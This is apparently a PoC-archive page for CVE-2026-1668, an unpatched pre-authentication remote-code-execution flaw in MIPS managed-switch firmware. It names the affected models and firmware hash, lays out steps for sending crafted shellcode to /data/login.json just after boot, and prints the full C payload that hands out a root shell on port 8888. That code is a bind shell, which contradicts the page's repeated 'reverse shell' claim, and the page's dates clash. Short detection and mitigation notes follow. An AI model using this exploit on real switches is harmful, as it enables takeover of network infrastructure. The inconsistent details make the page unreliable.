PoC Archive PoC Archive
Critical CVE-2026-1668 unpatched

MIPS-Based Managed Switch Firmware Pre-Auth Kernel RCE — CVE-2026-1668

by tangrs · 2026-07-05

Severity
Critical
CVE
CVE-2026-1668
Category
binary
Affected product
MIPS-based managed switch firmware (web management HTTP server), e.g. SG2005P/SG2008/SG2016P/SG2210MP/SG2218/SG2428/SG3210/SL2428/TL-SG2428 series firmware built around 2025-10-31
Affected versions
Firmware images matching SHA256 4b862b8dd7fde44fa57a39b35b562f21878dd6abb8e92ccd9cdef571ed60d544 (multiple product/model builds share this image); earlier firmware versions are likely also vulnerable with payload adjustments
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchertangrs
CVE / AdvisoryCVE-2026-1668
Categorybinary
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsmips, embedded-linux, kernel-exploit, firmware, managed-switch, reverse-shell, pre-auth, shellcode
RelatedN/A

Affected Target

FieldValue
Software / SystemMIPS-based managed switch firmware (web management HTTP server), e.g. SG2005P/SG2008/SG2016P/SG2210MP/SG2218/SG2428/SG3210/SL2428/TL-SG2428 series firmware built around 2025-10-31
Versions AffectedFirmware images matching SHA256 4b862b8dd7fde44fa57a39b35b562f21878dd6abb8e92ccd9cdef571ed60d544 (multiple product/model builds share this image); earlier firmware versions are likely also vulnerable with payload adjustments
Language / PlatformC/MIPS assembly payload built with a MIPS Linux GCC cross-toolchain; targets embedded Linux firmware
Authentication RequiredNo
Network Access RequiredYes

Summary

The switch’s embedded web management HTTP server contains a memory-corruption flaw reachable via a crafted request to the /data/login.json endpoint, exploitable before the device’s first legitimate HTTP request after boot. The PoC builds a raw MIPS shellcode payload (position-independent, using a custom linker script and freestanding C/assembly stub) that is appended after crafted HTTP headers with an oversized Content-Length value, triggering the vulnerable code path in the kernel/HTTP server. Successful exploitation spawns a reverse shell back to the attacker, granting root access to the switch’s underlying embedded Linux system. The author has published a companion blog series explaining the memory-corruption primitive and payload construction in detail.


Vulnerability Details

Root Cause

A memory-corruption bug in the switch firmware’s HTTP request handling for /data/login.json (root cause detailed in the author’s blog series) is triggered by a malformed request with an oversized Content-Length header, allowing injected MIPS shellcode to hijack execution during a very early boot-time window before the server has processed its first legitimate request.

Attack Vector

  1. Attacker builds the raw shellcode payload (payload.s + shell.c + linux.h, linked via ldscript) using a MIPS Linux GCC cross-toolchain (make).
  2. Attacker starts a listener and, immediately after the switch boots (before its first legitimate HTTP request), sends the crafted http-request.bin (headers from http-headers.txt concatenated with the compiled shellcode) to TCP port 80 on the switch.
  3. The malformed request with an oversized Content-Length triggers the memory-corruption path, executing the embedded shellcode.
  4. The shellcode connects back to the attacker’s listener on TCP port 8888.
  5. Attacker receives an interactive root shell on the switch’s embedded Linux OS.

Impact

Full unauthenticated remote code execution as root on the affected managed switch, granting complete control over network switching infrastructure.


Environment / Lab Setup

Target:   Affected MIPS-based managed switch, freshly booted (pre-first-request window), management HTTP server on port 80
Attacker: mips-linux-gnu-gcc / mips-linux-gnu-objcopy (e.g. `apt install gcc-mips-linux-gnu` on Ubuntu 24.04), make, nc (netcat), bash

Proof of Concept

PoC Script

See Makefile, payload.s, shell.c, linux.h, ldscript, http-headers.txt, and run.sh in this folder.

1
2
make        # cross-compiles payload.s/shell.c into http-request.bin
./run.sh    # sends the payload to 192.168.0.1 and connects back for a shell

make builds the raw MIPS shellcode and concatenates it with the crafted HTTP headers into http-request.bin; run.sh then sends that request to the switch’s management IP over port 80 and opens a listener on port 8888 to catch the resulting root reverse shell — this must be run against a freshly booted device before it serves its first real HTTP request.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected root shell/reverse-connection processes running on the switch’s embedded OS
  • Switch management HTTP server crashing or restarting shortly after boot
  • Outbound connections from the switch to non-management infrastructure

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for a firmware update addressing the /data/login.json handler
Interim mitigationRestrict management-interface network access to trusted hosts only, disable remote web management if not required, and monitor for anomalous traffic immediately after device boot

References


Notes

Mirrored from https://github.com/tangrs/cve-2026-1668-poc on 2026-07-05.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT

#include <stddef.h>
#include "linux.h"

struct sockaddr_in listenaddr = {
    .sin_family = AF_INET,
    .sin_port = 8888,
};

char *argv[] = {"/bin/sh", "-i", NULL};

__attribute__((noreturn)) void start() {
    int sockfd = -1;
    while (sockfd < 0)
        sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    while (bind(sockfd, &listenaddr, sizeof(listenaddr)));
    while (listen(sockfd, 0));

    int fd = -1;
    while (fd < 0)
        fd = accept(sockfd, NULL, NULL);

    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);

    while (1)
        execve(argv[0], argv, NULL);
}